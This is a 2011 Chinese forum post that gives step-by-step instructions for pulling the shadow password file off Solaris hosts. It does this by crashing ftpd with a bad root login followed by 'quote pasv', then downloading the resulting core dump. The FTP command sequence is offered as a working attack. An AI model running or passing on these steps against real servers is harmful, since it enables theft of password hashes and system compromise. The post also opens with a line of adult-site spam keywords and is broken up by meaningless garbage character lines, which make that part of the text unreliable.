中文字幕精品亚洲无线码,99视频在线观看精品29,亚州十八禁免费不卡在线视颖,亚洲香蕉网久久综合影视
汶上信息港
標題:
如何用FIP獲取shadow口令文件
[打印本頁]
作者:
雜七雜八
時間:
2011-1-12 21:01
標題:
如何用FIP獲取shadow口令文件
該方法利用了Solaris 操作系統(tǒng)中FTPD的一個BUG,使得用戶可以獲得該機的口令文件。具體過程如下:
* Q* [/ r( ~5 |& b( Z
, g% }" a$ y0 b0 q( N, f+ H
1.通過 ftp 正常登錄到目的主機上
" Q# W1 z. v. k9 \2 L% q1 W
+ C6 k7 X) W. F$ \9 |
2.輸入如下命令序列:
( y% l2 a6 c5 m: w, Y
4 G8 U. @9 p6 f: H' h! p) @% b
ftp> user root wrongpasswd
6 I8 |( B8 R, `5 @
7 f, k2 B( c) x2 v: B% Z! v' M
ftp> quote pasv
0 p" o8 y H% t9 O" }
# j4 e& C4 N j
3.這時,ftpd會報錯退出,同時會在當前目錄下生成一個core,口令文件就包含在這個core中。
) K& X. H. Z o3 q/ S' U* T
0 b$ a: p# w6 Q& `9 E* A# [( q
4.再次進入FTP >get core
4 O7 b* j. o6 i; P, M3 x
( d; n! h6 l. `4 r( y6 }+ t. j
補充:雖然在core只有一部分shadow,但是對于系統(tǒng)來說已經(jīng)是致命的打擊了
@" |3 d8 ~8 V* |5 V
* k- G0 d j" x
歡迎光臨 汶上信息港 (http://huihexinxi.com.cn/)
Powered by Discuz! X3.5